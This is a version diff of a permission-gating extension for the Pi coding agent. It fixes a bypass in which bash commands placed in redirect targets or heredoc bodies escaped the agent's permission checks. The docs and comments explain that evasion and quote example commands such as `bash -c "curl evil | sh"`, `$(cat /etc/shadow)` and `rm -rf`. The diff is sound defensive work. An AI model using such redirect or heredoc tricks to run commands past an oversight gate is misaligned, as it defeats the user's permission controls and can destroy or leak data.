@gotgenes/pi-permission-system 25.2.0 → 25.2.2

package/CHANGELOG.md

@@ -5,6 +5,34 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [25.2.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.2.1...pi-permission-system-v25.2.2) (2026-08-15)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** gate commands hosted in bash redirect targets ([1015bb8](https://github.com/gotgenes/pi-packages/commit/1015bb879234d1d96595b9f995ca88037588e16f)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
+* **pi-permission-system:** gate commands hosted in interpolating heredoc bodies ([48978d2](https://github.com/gotgenes/pi-packages/commit/48978d2016c67aa90f291db55d98908ba930f0d1)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
+* **pi-permission-system:** project path operands of heredoc-hosted nested commands ([8e2fbee](https://github.com/gotgenes/pi-packages/commit/8e2fbee404677d02c7cc565cf23d1e778994d5f0)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
+* **pi-permission-system:** project path operands of redirect-hosted nested commands ([12164f3](https://github.com/gotgenes/pi-packages/commit/12164f3b61b6a4b50281d84b6d741a3736516991)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
+
+
+### Documentation
+
+* **pi-permission-system:** document hosted nested-command evaluation ([f24b338](https://github.com/gotgenes/pi-packages/commit/f24b338a42855f96038fdf2efdfe440cef8501c8)), closes [#741](https://github.com/gotgenes/pi-packages/issues/741)
+
+## [25.2.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.2.0...pi-permission-system-v25.2.1) (2026-08-15)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** auto-approve residual synthetic asks under yolo ([e1706d3](https://github.com/gotgenes/pi-packages/commit/e1706d3ea6497e4ce32d715af6034aea7dd4d0fc))
+* **pi-permission-system:** honor an explicit bash deny for an unparseable command ([2e45633](https://github.com/gotgenes/pi-packages/commit/2e45633fa000c9c67ed62acaaf571f50c45a0d88))
+
+
+### Documentation
+
+* **pi-permission-system:** describe the gate-level yolo grant ([8a8e4a7](https://github.com/gotgenes/pi-packages/commit/8a8e4a72bd52e37efef573ccf023e967206eaf1e)), closes [#712](https://github.com/gotgenes/pi-packages/issues/712)
+
 ## [25.2.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.1.0...pi-permission-system-v25.2.0) (2026-08-14)
 
 

package/docs/configuration.md

@@ -328,6 +328,11 @@ Quotes are respected (an operator inside `'…'` or `"…"` does not split the c
 Commands nested inside command substitution (`$(…)`, backticks), process substitution (`<(…)`/`>(…)`), and subshells (`( … )`) are evaluated against the bash patterns too, in addition to their enclosing command — since those inner commands really execute.
 So `echo $(rm -rf foo)` evaluates both `echo $(rm -rf foo)` and the inner `rm -rf foo`; if `rm *` is denied, the whole invocation is denied.
 The deny reason and the approval prompt note the nested origin (e.g. `inside command substitution`).
+
+This holds wherever the substitution appears, not only in argument position.
+A substitution in a **redirect target** (`echo hi > $(rm *.txt)`, `cat < <(rm c)`, ``echo hi 2> `rm d` ``) and one in an **interpolating heredoc body** (`cat <<EOF` with `$(rm e)` in the body) are evaluated the same way.
+A quoted heredoc delimiter (`<<'EOF'` or `<<"EOF"`) does not interpolate, so its body is literal text and nothing in it is evaluated as a command.
+The enclosing command is still matched without its redirect, so a rule like `npm install` keeps matching `npm install > out.txt`.
 Control-flow bodies (`if`/`while`/`for`/`case`) and `{ … }` brace groups are not descended into; their contents are matched as part of the enclosing statement's text.
 
 A leading environment-variable assignment prefix is stripped before matching, so the rule gates the underlying command rather than the prefix.
@@ -394,13 +399,17 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
 
 - If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure.
 - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
+  A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
   An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
 - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
   An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
 - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
   So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
-  As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
+  As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
+
+Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
+An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
 
 Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
 A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "25.2.0",
+  "version": "25.2.2",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {

package/src/access-intent/bash/command-enumeration.ts

@@ -1,3 +1,7 @@
+import {
+  EXECUTION_HOST_TYPES,
+  forEachNestedExecution,
+} from "#src/access-intent/bash/nested-execution";
 import type { TSNode } from "#src/access-intent/bash/parser";
 import type { BashCommandContext } from "#src/types";
 
@@ -49,32 +53,19 @@ const COMMAND_ENUM_DESCEND = new Set([
 ]);
 
 /**
- * Named node types skipped during command enumeration: redirect targets,
- * comments, and heredoc bodies — none is a command to evaluate.
+ * Named node types abandoned during command enumeration: they are neither
+ * commands nor able to host one, so nothing in their subtree ever runs.
+ *
+ * A redirect and a heredoc body are deliberately NOT listed here. Neither is a
+ * command, but each can host a substitution that really executes, so both are
+ * {@link EXECUTION_HOST_TYPES} members instead — conflating the two questions
+ * ("is this a command?" and "can this host one?") is the bypass #741 fixed.
+ *
  * Anonymous tokens (chain operators `&&`/`;`/`|`, substitution and subshell
  * delimiters `$(`/`)`/`` ` ``/`(`) are filtered by the `isNamed` guard, not
  * listed here.
  */
-const COMMAND_ENUM_SKIP = new Set([
-  "file_redirect",
-  "heredoc_redirect",
-  "herestring_redirect",
-  "comment",
-  "heredoc_body",
-  "heredoc_end",
-]);
-
-/**
- * Nested execution contexts whose interior commands really execute and must be
- * evaluated too: command substitution (`$(…)`, backticks) and process
- * substitution (`<(…)`/`>(…)`).
- * Subshells (`( … )`) are handled separately because they are also emitted
- * whole.
- */
-const NESTED_EXECUTION_CONTEXTS = new Map<string, BashCommandContext>([
-  ["command_substitution", "command_substitution"],
-  ["process_substitution", "process_substitution"],
-]);
+const COMMAND_ENUM_SKIP = new Set(["comment", "heredoc_end"]);
 
 /**
  * Enumerate the command units of a bash program, in source order.
@@ -119,7 +110,14 @@ function collectCommandsInto(
     );
     // A command's text already contains any substitution; descend its subtree
     // to ALSO emit the inner commands of command/process substitutions.
-    collectSubstitutionCommands(node, out);
+    collectHostedCommands(node, out);
+    return;
+  }
+
+  if (EXECUTION_HOST_TYPES.has(node.type)) {
+    // Not a command itself, but its subtree can host one that really runs
+    // (`> $(rm x)`, `< <(rm c)`). Emit only what it hosts (#741).
+    collectHostedCommands(node, out);
     return;
   }
 
@@ -297,20 +295,15 @@ function descendCommandChildren(
 }
 
 /**
- * Search a command's subtree for command/process substitutions and enumerate
- * the commands inside them, tagged with the substitution's execution context.
- * A substitution can nest under `command_name` (when the whole command is
- * `$(…)`) or under an argument, so the entire subtree is searched.
+ * Enumerate the commands of every nested execution context in a subtree, each
+ * tagged with the context it was found in.
+ *
+ * The traversal itself lives in `nested-execution.ts` so the bash path surface
+ * shares one definition of what counts as a nested execution (#741); this
+ * function supplies the command-surface interpretation of each one found.
  */
-function collectSubstitutionCommands(node: TSNode, out: BashCommand[]): void {
-  for (let i = 0; i < node.childCount; i++) {
-    const child = node.child(i);
-    if (!child) continue;
-    const nestedContext = NESTED_EXECUTION_CONTEXTS.get(child.type);
-    if (nestedContext) {
-      descendCommandChildren(child, nestedContext, out);
-    } else {
-      collectSubstitutionCommands(child, out);
-    }
-  }
+function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
+  forEachNestedExecution(node, (contextNode, context) => {
+    descendCommandChildren(contextNode, context, out);
+  });
 }

package/src/access-intent/bash/nested-execution.ts

@@ -0,0 +1,76 @@
+import type { TSNode } from "#src/access-intent/bash/parser";
+import type { BashCommandContext } from "#src/types";
+
+/**
+ * AST node types whose interior commands really execute when the shell runs the
+ * program: command substitution (`$(…)`, backticks) and process substitution
+ * (`<(…)`/`>(…)`).
+ *
+ * Subshells (`( … )`) are deliberately absent — a subshell is also a command
+ * unit in its own right, so the command enumerator emits it whole and descends
+ * it separately rather than treating it as a pure nesting wrapper.
+ *
+ * This map is the single vocabulary shared by the bash command surface and the
+ * bash path surface, so the two cannot disagree about what counts as a nested
+ * execution (#741).
+ */
+export const NESTED_EXECUTION_CONTEXTS: ReadonlyMap<
+  string,
+  BashCommandContext
+> = new Map([
+  ["command_substitution", "command_substitution"],
+  ["process_substitution", "process_substitution"],
+] satisfies [string, BashCommandContext][]);
+
+/**
+ * AST node types that are neither commands nor argument values themselves, but
+ * whose subtree can host a nested execution context that really runs.
+ *
+ * A redirect destination is the motivating case: tree-sitter-bash parses
+ * `echo hi > $(rm x)` with the `file_redirect` as a *sibling* of the `command`,
+ * so a consumer that abandons the redirect never sees the substitution inside
+ * it — the bypass #741 fixed.
+ *
+ * An interpolating heredoc body is the second case: `cat <<EOF` with `$(rm e)`
+ * in the body really runs `rm e`. Quoting needs no special handling here —
+ * tree-sitter-bash emits a `command_substitution` node under `heredoc_body`
+ * only for a bare `<<EOF`, never for `<<'EOF'` or `<<"EOF"`, so the parser
+ * already encodes the interpolation rule.
+ *
+ * Membership means "do not read this subtree's own text, but do descend it for
+ * executions"; each consumer keeps its own handling of the destination tokens.
+ */
+export const EXECUTION_HOST_TYPES: ReadonlySet<string> = new Set([
+  "file_redirect",
+  "heredoc_redirect",
+  "herestring_redirect",
+  "heredoc_body",
+]);
+
+/**
+ * Visit every nested execution context in `node`'s subtree, in source order.
+ *
+ * The walk does not descend *past* a context it finds: `visit` receives the
+ * context node itself and decides how to treat its interior (the command
+ * enumerator enumerates commands there; the path collector collects operand
+ * tokens), which keeps recursion policy with the consumer that understands it.
+ *
+ * A substitution can nest under `command_name` (when the whole command is
+ * `$(…)`), under an argument, inside a redirect destination, or inside an
+ * interpolating heredoc body, so the entire subtree is searched.
+ */
+export function forEachNestedExecution(
+  node: TSNode,
+  visit: (contextNode: TSNode, context: BashCommandContext) => void,
+): void {
+  for (let i = 0; i < node.childCount; i++) {
+    const child = node.child(i);
+    if (!child) continue;
+    const context = NESTED_EXECUTION_CONTEXTS.get(child.type);
+    if (context) {
+      visit(child, context);
+    } else {
+      forEachNestedExecution(child, visit);
+    }
+  }
+}

package/src/access-intent/bash/node-text.ts

@@ -2,8 +2,13 @@ import type { TSNode } from "#src/access-intent/bash/parser";
 import { resolvePlainVariableExpansion } from "#src/access-intent/bash/shell-variable-expansion";
 
 /**
- * Node types whose subtrees must never be descended into for
- * path extraction — their text content is not a command argument.
+ * Node types whose text content is never a command argument, so no path
+ * candidate is ever read from it.
+ *
+ * This governs the subtree's *text*, not whether it is visited at all: an
+ * interpolating `heredoc_body` is also an execution host, so it is still
+ * descended for the commands it runs while its prose stays out of the path
+ * surface (#741). See `EXECUTION_HOST_TYPES` in `nested-execution.ts`.
  */
 export const SKIP_SUBTREE_TYPES = new Set([
   "heredoc_body",

package/src/access-intent/bash/token-collection.ts

@@ -1,4 +1,9 @@
 import { basename } from "node:path";
+import {
+  EXECUTION_HOST_TYPES,
+  forEachNestedExecution,
+  NESTED_EXECUTION_CONTEXTS,
+} from "#src/access-intent/bash/nested-execution";
 import {
   ARG_NODE_TYPES,
   resolveNodeText,
@@ -12,7 +17,12 @@ import type { TSNode } from "#src/access-intent/bash/parser";
  * Recursively visit the AST and collect resolved text of nodes that
  * represent command arguments or redirect destinations.
  *
- * Skips `heredoc_body`, `heredoc_end`, and `comment` subtrees entirely.
+ * Reads no text from `heredoc_body`, `heredoc_end`, or `comment` subtrees, but
+ * still descends an execution host for the commands it hosts — an interpolating
+ * heredoc body runs its substitution even though its prose is never an operand
+ * (#741). That is why the {@link EXECUTION_HOST_TYPES} branch sits above the
+ * {@link SKIP_SUBTREE_TYPES} check: `heredoc_body` is in both sets, and the
+ * host reading is the one that must win.
  *
  * For commands in `PATTERN_FIRST_COMMANDS`, uses position-based
  * argument skipping to avoid collecting inline patterns/scripts
@@ -20,9 +30,12 @@ import type { TSNode } from "#src/access-intent/bash/parser";
  * arguments generically.
  */
 export function collectPathCandidateTokens(node: TSNode): string[] {
-  if (SKIP_SUBTREE_TYPES.has(node.type)) return [];
   if (node.type === "command") return collectCommandTokens(node);
   if (node.type === "file_redirect") return collectRedirectTokens(node);
+  if (EXECUTION_HOST_TYPES.has(node.type)) {
+    return collectHostedExecutionTokens(node);
+  }
+  if (SKIP_SUBTREE_TYPES.has(node.type)) return [];
 
   const tokens: string[] = [];
   for (let i = 0; i < node.childCount; i++) {
@@ -50,6 +63,15 @@ export function collectCommandTokens(node: TSNode): string[] {
 
 /**
  * Collect redirect-destination tokens from a `file_redirect` node.
+ *
+ * The destination itself is an argument value (`> out.txt`), but it can also
+ * host a command that really runs (`> $(cat /etc/shadow)`, `< <(cmd)`), whose
+ * own operands are path candidates too — so each child is both read for its
+ * text and searched for nested executions (#741).
+ *
+ * Both passes are needed: a substitution can be the destination outright, or be
+ * concatenated into it (`> ${DIR}/$(cmd)`), and a `concatenation` is itself an
+ * argument node.
  */
 export function collectRedirectTokens(node: TSNode): string[] {
   const tokens: string[] = [];
@@ -59,10 +81,33 @@ export function collectRedirectTokens(node: TSNode): string[] {
     if (ARG_NODE_TYPES.has(child.type)) {
       tokens.push(resolveNodeText(child));
     }
+    tokens.push(...collectHostedExecutionTokens(child));
   }
   return tokens;
 }
 
+/**
+ * Collect the path-candidate tokens of every command nested inside `node`'s
+ * execution contexts, reading none of the host subtree's own text.
+ *
+ * This is what lets a heredoc body contribute its substitution's operands while
+ * its prose stays out of the path surface entirely.
+ *
+ * `node` may be a context outright (`> $(cmd)`) or merely contain one
+ * (`> ${DIR}/$(cmd)`); `forEachNestedExecution` searches strictly within a
+ * subtree, so the first case is checked here.
+ */
+function collectHostedExecutionTokens(node: TSNode): string[] {
+  if (NESTED_EXECUTION_CONTEXTS.has(node.type)) {
+    return collectPathCandidateTokens(node);
+  }
+  const tokens: string[] = [];
+  forEachNestedExecution(node, (contextNode) => {
+    tokens.push(...collectPathCandidateTokens(contextNode));
+  });
+  return tokens;
+}
+
 /**
  * Extract the command name from a `command` node.
  * Returns the basename (e.g. `/usr/bin/sed` → `sed`), or undefined

package/src/authority/permission-prompter.ts

@@ -94,9 +94,11 @@ export interface PermissionPrompterDeps {
  * `ParentAuthorizer`, `DenyingAuthorizer`) — this class no longer threads
  * `ExtensionContext` per call.
  *
- * Yolo-mode auto-approval happens upstream, at the composition stage
- * (`PermissionManager.check`'s `rewriteAsksToYolo`) — an `ask` never reaches
- * this class under yolo, so this class has no yolo-mode knowledge.
+ * Yolo-mode auto-approval happens upstream: at the composition stage
+ * (`PermissionManager.check`'s `rewriteAsksToYolo`) for a rule-driven ask, and
+ * at `GateRunner`'s auto-approve fast path (`resolveYoloGrant`) for an ask
+ * synthesized after resolution, which no rule rewrite can reach (#712) — an
+ * `ask` never reaches this class under yolo, so it has no yolo-mode knowledge.
  */
 export class PermissionPrompter implements PermissionPrompterApi {
   constructor(private readonly deps: PermissionPrompterDeps) {}

package/src/handlers/gates/bash-command.ts

@@ -36,7 +36,9 @@ import type { PermissionCheckResult } from "#src/types";
  * to zero command units (a parse anomaly or an opaque program) fails closed to
  * a synthetic `ask` so a permissive top-level `*` cannot silently allow an
  * unparseable command (e.g. `cd /repo && git push` riding a top-level allow on
- * the empty-parse path) — #452.
+ * the empty-parse path) — #452. The whole command is still resolved first so an
+ * explicit `deny` covering it denies outright rather than being masked into an
+ * approvable prompt (#712).
  *
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
  * handler, which passes the decomposed `commands` here.
@@ -58,12 +60,11 @@ export function resolveBashCommandCheck(
 ): PermissionCheckResult {
   if (commands.length === 0) {
     if (isTriviallyEmptyCommand(command)) {
-      return resolver.resolve({
-        kind: "tool",
-        surface: "bash",
-        input: { command },
-        agentName,
-      });
+      return resolveWholeCommand(command, agentName, resolver);
+    }
+    const whole = resolveWholeCommand(command, agentName, resolver);
+    if (whole.state === "deny") {
+      return whole;
     }
     return {
       state: "ask",
@@ -94,12 +95,7 @@ export function resolveBashCommandCheck(
   });
   return (
     pickMostRestrictive(results) ??
-    resolver.resolve({
-      kind: "tool",
-      surface: "bash",
-      input: { command },
-      agentName,
-    })
+    resolveWholeCommand(command, agentName, resolver)
   );
 }
 
@@ -116,3 +112,17 @@ function isTriviallyEmptyCommand(command: string): boolean {
     .filter((line) => line.length > 0);
   return lines.every((line) => line.startsWith("#"));
 }
+
+/** Resolve the whole command string as a single unit on the `bash` surface. */
+function resolveWholeCommand(
+  command: string,
+  agentName: string | undefined,
+  resolver: ScopedPermissionResolver,
+): PermissionCheckResult {
+  return resolver.resolve({
+    kind: "tool",
+    surface: "bash",
+    input: { command },
+    agentName,
+  });
+}

package/src/handlers/gates/helpers.ts

@@ -113,3 +113,32 @@ export function deriveResolution(
   }
   return confirmationUnavailable ? "confirmation_unavailable" : "user_denied";
 }
+
+/**
+ * The standing yolo grant covering a gate's resolved check, or `null` when
+ * yolo does not answer it.
+ *
+ * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
+ * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
+ * first arm recognizes that grant. The second arm covers an `ask` synthesized
+ * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
+ * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
+ * cannot reach because the floor is a property of a parsed command unit, not of
+ * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
+ * log still shows why the ask was raised, while `origin: "yolo"` records why it
+ * was granted.
+ *
+ * A `deny` matches neither arm, so an explicit deny survives yolo.
+ */
+export function resolveYoloGrant(
+  check: PermissionCheckResult,
+  yoloEnabled: boolean,
+): PermissionCheckResult | null {
+  if (check.state === "allow" && check.origin === "yolo") {
+    return check;
+  }
+  if (check.state === "ask" && yoloEnabled) {
+    return { ...check, state: "allow", origin: "yolo" };
+  }
+  return null;
+}

package/src/handlers/gates/runner.ts

@@ -12,7 +12,11 @@ import type { SessionApprovalRecorder } from "#src/session-approval-recorder";
 import type { PermissionCheckResult } from "#src/types";
 import type { GateDescriptor, GateResult } from "./descriptor";
 import { isGateBypass } from "./descriptor";
-import { buildDecisionEvent, deriveResolution } from "./helpers";
+import {
+  buildDecisionEvent,
+  deriveResolution,
+  resolveYoloGrant,
+} from "./helpers";
 import type { GateOutcome } from "./types";
 
 // ── GateRunner class ───────────────────────────────────────────────────────
@@ -32,6 +36,11 @@ export class GateRunner {
     private readonly recorder: SessionApprovalRecorder,
     private readonly prompter: AskEscalator,
     private readonly reporter: DecisionReporter,
+    /**
+     * Live yolo reader, read per gate so a mid-session config change takes
+     * effect — the same closure `PermissionManager` receives.
+     */
+    private readonly isYoloEnabled: () => boolean,
   ) {}
 
   /**
@@ -105,11 +114,12 @@ export class GateRunner {
       return { action: "allow" };
     }
 
-    // 2b. Yolo fast-path — a composition-stage ask→allow rewrite records
-    // origin "yolo" on the matched rule. Auto-approve without prompting,
-    // preserving today's single auto_approved review entry + decision event
-    // so review-log parity holds (#526).
-    if (check.state === "allow" && check.origin === "yolo") {
+    // 2b. Yolo fast-path — the composition-stage ask→allow rewrite (origin
+    // "yolo" on the matched rule, #526) or, under yolo, an ask synthesized
+    // after resolution (#712). Auto-approve without prompting, preserving the
+    // single auto_approved review entry + decision event so log parity holds.
+    const yoloGrant = resolveYoloGrant(check, this.isYoloEnabled());
+    if (yoloGrant) {
       this.reporter.writeReviewLog("permission_request.auto_approved", {
         ...descriptor.logContext,
         agentName,
@@ -118,10 +128,10 @@ export class GateRunner {
       this.reporter.emitDecision(
         buildDecisionEvent(
           descriptor.decision,
-          check,
+          yoloGrant,
           agentName,
           "allow",
-          deriveResolution(check.state, "allow", false, false, true),
+          deriveResolution(yoloGrant.state, "allow", false, false, true),
         ),
       );
       return { action: "allow" };

package/src/index.ts

@@ -84,13 +84,16 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
   // eslint-disable-next-line prefer-const -- forward-declared let; `const` requires an initializer
   let session: PermissionSession;
 
-  // Constructed after the `configStore` forward declaration so the yolo reader
-  // can close over it; the closure runs per check(), after configStore is
-  // assigned below. yolo becomes a composition-stage ask→allow rewrite (#526).
+  // Declared after the `configStore` forward declaration so the reader can
+  // close over it; every call runs after configStore is assigned below. yolo is
+  // a composition-stage ask→allow rewrite (#526) that the gate runner extends
+  // to asks synthesized after resolution (#712), so both share this reader.
+  const isYoloEnabled = (): boolean => isYoloModeEnabled(configStore.current());
+
   const permissionManager = new PermissionManager({
     agentDir,
     flavor: hostFlavor,
-    isYoloEnabled: () => isYoloModeEnabled(configStore.current()),
+    isYoloEnabled,
   });
 
   const logger = new PermissionSessionLogger({
@@ -255,6 +258,7 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
     sessionRules,
     authorizerSelection,
     reporter,
+    isYoloEnabled,
   );
   const toolCallGatePipeline = new ToolCallGatePipeline(
     resolver,